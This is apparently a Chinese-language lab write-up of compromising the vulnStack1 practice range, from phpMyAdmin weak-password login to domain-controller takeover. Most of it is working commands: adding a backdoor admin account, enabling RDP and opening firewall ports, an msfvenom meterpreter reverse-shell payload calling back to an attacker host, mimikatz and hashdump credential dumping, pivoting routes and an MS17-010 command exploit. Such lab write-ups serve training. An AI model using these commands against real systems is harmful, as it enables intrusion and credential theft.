去到win7虚拟机,打开phpstudy
nmap扫描一下
(3389是我后面打开的,前面扫不到的)
访问80端口,直接跳到phpstudy探针
获取到了系统路径和系统版本
dirb扫描目录发现了phpmyadmin
弱密码root:root 直接进了phpmyadmin后台
关于phpmyadmin_getshell见我另一篇博客
phpmyadmin_getshell
虚拟终端发现 已经是域管理员adminstrator权限了
添加管理员
net user a 123.com /add
net localgroup administrators a /add
开启3389
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
查看端口已经打开
netstat -ano |findstr 3389
然后kali下rdesktop连接,但是失败了 应该是防火墙的问题
两个办法 可以传一个msfshell上去,然后在meterpreter下输入
run post/windows/manage/enable_rdp
关闭防火墙打开3389
就能连接上了
msfvenom -p windows/meterpreter_reverse_tcp -f exe -o win.exe LHOST=10.10.2.129 LPORT=4444
然后用菜刀传上去
打开监听
然后在菜刀虚拟终端运行win.exe就连上了
meterpreter输入 run post/windows/manage/enable_rdp
然后就可以通过rdesktop连接3389了
远程连接 如果想要挂载本地文件夹
rdesktop -r disk:E=/home x.x.x.x
看到师傅用ngrok做ssh隧道的,我没能把服务端的exe传上去,另外再找机会练一下
此时虽然打开了3389但是只有一个本地管理员权限,登录本机的是域管理员,要对域管理员下手
继续在meterpreter下操作
getsystem
然后再getuid
发现已经是system了
常用的抓hash的工具有
hashdump:
meterpreter> hashdump
msf自带抓hash工具
meterpreter> run post/windows/gather/smart_hashdump
扩展mimikatz:
meterpreter> load mimikatz
meterpreter> mimikatz_command -f samdump::hashes
在这里我们为了抓明文,直接上传了mimikatz(github上可以下载)
然后在windowsshell dos下运行
mimikatz.exe
先进行权限提升
privilege::debug
然后使用
sekurlsa::logonPasswords
查到了域管理员密码是123.com(原密码hongrisec@2019,因为windows服务器的强制改密码机制,改为了123.com)
ifconfig /all
net config workstation 计算机名,全名,用户名,系统版本,工作域,登录域
net localgroup administrators 查看管理员(含有域用户)
net user /domain
net group /domain
net group "domain admin" /domain
net time /domain 判断主域 主域服务器做时间服务器
得到以下信息
域:god.org
DNS:192.168.58.138 (DNS就是域控)
先添加路由
meterpreter> run autoroute -s 192.168.52.0/24
meterpreter> run autoroute -p //查看路由状态
然后挂起session用msf的扫描模块
use auxiliary/scanner/portscan/tcp
set rhost=192.168.52.138
set ports=445
扫描域控138是否开始高危端口445,果然没让我们失望
因为用了session1的路由转发,没法使用反向代理shell,只能使用正向shell的exp,一条命令执行一次
use auxiliary/admin/smb/ms17_010_command
set command whoami
结果返回 system,果然存在ms17-010漏洞
继续操作,打开3389
set command REG ADD HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal\" \"Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
给防火墙添加3389规则
set command netsh advfirewall firewall add rule name=\"allow3389in\" protocol=tcp localport=3389 dir=in action=allow
set command netsh advfirewall firewall add rule name=\"allow3389out\" protocol=tcp localport=3389 dir=out action=allow
在msf里的引号需要转义,以下为原命令:
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh advfirewall firewall add rule name="allow3389in" protocol=tcp localport=3389 dir=in action=allow
netsh advfirewall firewall add rule name="allow3389out" protocol=tcp localport=3389 dir=out action=allow
结合前面拿到的域管理员密码 就可以登录3389了
在kali上rdesktop登录web服务器的3389,然后在web服务器上登录域控的3389
这是我第一次做这种拿域控的服务器,之前做的靶机都是拿到root或者system就结束了,ctf更是顶多拿到webshell就结束了,也学到了很多东西(内网穿透,域信息搜集,windows防火墙绕过都是以前没接触过的),但是vulnstack1这个靶机还没有完全结束,里面还有很多东西都是没有用到的,直接一个ms17-010就把域控拿了,后面我再打开靶机一个漏洞把每个漏洞都复现了。